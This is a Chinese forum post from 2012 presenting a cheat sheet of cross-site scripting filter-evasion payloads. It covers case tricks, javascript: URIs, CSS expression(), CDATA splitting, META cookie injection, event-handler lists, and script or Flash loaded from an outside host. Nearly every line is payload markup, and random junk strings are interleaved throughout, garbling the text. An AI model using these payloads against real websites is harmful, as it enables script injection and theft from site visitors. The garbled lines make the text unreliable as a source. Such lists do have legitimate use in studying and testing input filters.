找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2284|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写
% ]6 q& F( e3 @2 a+ }' c6 E4 f* l% H6 {# W0 D' W: d8 }- V
! G& q8 e2 [) O8 t
- L6 w2 P8 \' N4 |7 p4 x
    <sCript>alert(‘d’)</scRipT>4 F5 u* ]* N' J
& r' \' a" {" R1 x; V6 M
2. 利用多加一些其它字符来规避Regular Expression的检查8 ?% z) j* \9 |: y

7 N9 N1 U1 d, k    <<script>alert(‘c’)//<</script>
0 k' Y0 [: _: o9 D1 w9 m: a: B2 Y% q; U, I. ?' o) R! V' a
    <SCRIPT a=">" SRC="t.js"></SCRIPT>0 n' l, q: A% K% Z$ Y; A; k
8 B! h( d; o% _# G1 P2 s2 z
    <SCRIPT =">" SRC="t.js"></SCRIPT>% y8 l* k" M4 a9 H. ~( R% A) I* r

5 `/ `0 g# ?' x/ H    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
( ?9 K; O: r7 l* j& n
4 ~) d! Q- n/ K2 k3 F4 ?) ^1 N    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>% J' ]3 c& M2 j) ?5 t7 D: v# \
6 y% ~1 e" m6 T# L
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>. V/ S. b/ C* K% ?$ J. T
" z% r9 J, M9 u
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
, U  @) Z+ X! G( k: b/ s4 |  h
; `" d, K+ x  z3. 以其它扩展名取代.js. N' c7 v; _/ G0 H# x3 ]
; Z) @, R1 X5 b/ X
    <script src="bad.jpg"></script>' B5 v7 T+ Q; S$ Z

8 k7 p6 D" {9 @/ \  ~4. 将Javascript写在CSS档里
' |# l' G) y& Y9 [" e6 _5 K. m& @# i" Q6 }
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
5 `" ?3 D" v! P. j9 T$ F  V. I  z8 O0 r2 C5 Y( H0 k
       example:
: I# ?( D- E3 O0 x8 Q
3 V8 E$ w7 W0 x) z; O9 Z( n  r0 V          body {% |( [: s3 W% ^# b# v; `  s

! N0 m; p  A. m& z3 ^               background-image: url(‘javascript:alert("XSS");’)
" @) L4 g0 o9 u# \0 p/ w! `8 S! l0 z, ~- Y# r6 W, `
          }
) H' ?- x/ d, m1 P. B% g! D- V& t  F! p0 u$ n) O8 A7 y( O+ o
5. 在script的tag里加入一些其它字符* a! }) p3 d: x& Z8 P! K
' p, E% J9 {7 ]( p7 h
    <SCRIPT/SRC="t.js"></SCRIPT>- u7 b, L, [7 P1 A$ }- d0 I" X8 T
: E6 H6 d8 W* x) ~+ t7 i5 I9 ~
    <SCRIPT/anyword SRC="t.js"></SCRIPT>
5 D  p4 ?) s1 ]' ^/ m  H0 D; \! F
' w6 `0 h( `! o4 ?6. 使用tab或是new line来规避
7 A3 R7 b# n3 l: [
  N, O/ E/ z# P! o1 W' T% Q    <img src="jav ascr ipt:alert(‘XSS3′)">" d; p3 d3 Q  x$ j' F: @
3 I* n; X# _+ |% M5 l
    <img src="jav ascr ipt:alert(‘XSS3′)">
  B  v0 }; N1 x- D7 G/ \! y, p7 B" v4 d- |+ S4 @7 `
    <IMG SRC="jav ascript:alert(‘XSS’);">
- K0 V( b) m, _7 U/ Y' d$ i, d2 s/ U$ Z/ u
         -> tag
: m+ t  }8 C4 u9 r* C! P% u
; ~9 @  j* K2 T; H" i* U         -> new line/ s& \/ u3 ^7 K# w

, R2 m2 W9 T+ }! ]4 g9 q7. 使用"\"来规避
9 x& y* P! u; z: X
( A6 k) z. R7 y9 G; \9 C    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
: [5 r0 l! g# `& x! z
) G, O  W- `: j1 K4 D    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>; _& m# w6 d% K0 \

- h- H0 F' [6 p* h6 E  p/ [    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
) W7 l/ o) m" `- |2 H5 U; a0 x. F7 G2 ?
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">) f3 h7 r4 x; b. d# k

5 L" D: x% J/ i; i. V    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
, s. @4 `# j/ N4 E* W$ S5 d7 m* {( L+ L
8. 使用Hex encode来规避(也可能会把";"拿掉)! W$ u; H+ Q7 k3 ^

" K7 O# _! A7 i' V    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
' S7 x" K8 d$ q, b; @0 }
+ I% P) u  l) o$ e2 P& B% O        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
* z8 m: V8 H+ G* B' `
5 l2 W; `) U( X0 n$ U/ M; n    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">1 r6 ]/ r+ w5 ~* r& z" E

7 q; C/ @/ [) b/ ~        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">: [' L# k% M2 H5 D
  |, i' a! E9 r5 G; |
9. script in HTML tag. F# Z' g) M3 u: H4 b# o
& X" a4 G. `; i, ~. T) A$ d' z
    <body onload=」alert(‘onload’)」>/ }* F0 r/ X$ ?7 j! A* I
+ J0 \3 P3 U) K5 |8 S
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload3 C0 s& Y, Z: D; w! @
+ X6 n5 `' M& l" F  J- A
10. 在swf里含有xss的code; R; x4 |( Z- A( E$ C- ^! L5 V
& r* v6 L6 p* B  V/ f
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>6 U! ?5 d: a4 x. C6 C- E

6 w: L9 F) N( F% I11. 利用CDATA将xss的code拆开,再组合起来。
! g2 e+ v% {4 q! y
( f; F2 L* L+ g% D& ?/ q    <XML ID=I><X><C>
- n2 g# e( O( N/ z- ]
# J6 a  x1 T6 U' c1 |    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>1 \  \1 S3 V: i) W+ U- T4 q
1 ^- I) X9 l8 W3 x! M, d& b
    </C></X>+ [  l/ D4 q  `/ e
: ~& p: `& @) w! R
    </xml>
+ v$ K2 A/ ^8 `+ w
+ F. I/ U. z- J) K    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>$ D6 ~* [/ y1 Z# J
3 v/ f* c! E) I( t( p% T  Z4 `
    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>* J9 @6 ^6 U; c! R9 \
3 ]' {2 _- e$ f1 S$ @. B% V
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>9 ]1 ^, A! A5 ^
, N# [. P- ]. c; q! w9 U
12. 利用HTML+TIME。. Z6 B# p9 |1 h0 t5 I2 \, u
# v6 l) C% `* w2 u. J5 K  H
    <HTML><BODY>
# o  K. p/ R0 H- n' j  |! `
) R( W  O& M6 o; v0 w6 T    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
$ R# K  [; Z" w4 t) G0 c( i- M
( E* x* x& d" P5 v: v    <?import namespace="t" implementation="#default#time2">
5 O  c/ P+ P. O2 g  v. @
  _" I  d0 V1 O* J6 m. q& i9 v    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
. T+ ^% k" }3 x8 G9 V# L: d+ _- E
# d& |$ N% ]' d" a0 x  g& \% I    </BODY></HTML>, J. \- z0 I6 q  _
+ u" [6 Y* }  ~7 n8 w; z" o
13. 透过META写入Cookie。
6 V3 ?- u2 p1 D4 N/ v9 B& V; P3 q8 R/ T. x
    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
, V" c& p# x; P
6 L* v" H( M9 _5 j14. javascript in src , href , url
! l$ k) \- {! E0 U# n: L0 d+ H- M
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>
5 F: H' |/ l5 n9 P& H
; A: D" x1 B! ]/ E' N) ]$ z    <img src="javascript:alert(‘XSS3′)">+ t. m4 B5 S0 v0 S

: U& `+ M: T8 W# I3 R' ]8 x, A<IMG DYNSRC="javascript:alert(‘XSS20′)">2 b# U3 t6 Y* ^+ N

2 O* @+ J! X- r+ B' S    <IMG LOWSRC="javascript:alert(‘XSS21′)">/ e  d" z9 F' W- c- V

- H1 s/ K, Q5 h6 o- A' k5 K  V    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">4 [% R7 P' R0 _  _! q# F( U0 I

. m7 X: T- @( d, O    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>9 y7 t5 p! s& t- ~9 q( h& ~: U

; R+ V5 {# Y; x$ Y+ n    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">6 O0 _0 W, S, {

" y9 B8 q" W+ o7 Z    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
5 Y; y4 g" O6 C5 c" a4 ^1 S' D7 g$ A6 H, P$ T
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}' p# D$ n3 u! ], |0 s
# P7 }& }: D! O. e) r8 B4 h# E
    </STYLE><A CLASS=XSS></A>
3 |; [: q6 f; c- C
. _; _) @! F6 C+ c. n    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>8 O. b0 ^* _3 Q$ h
. A; F: I' ~2 p, G' k2 Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表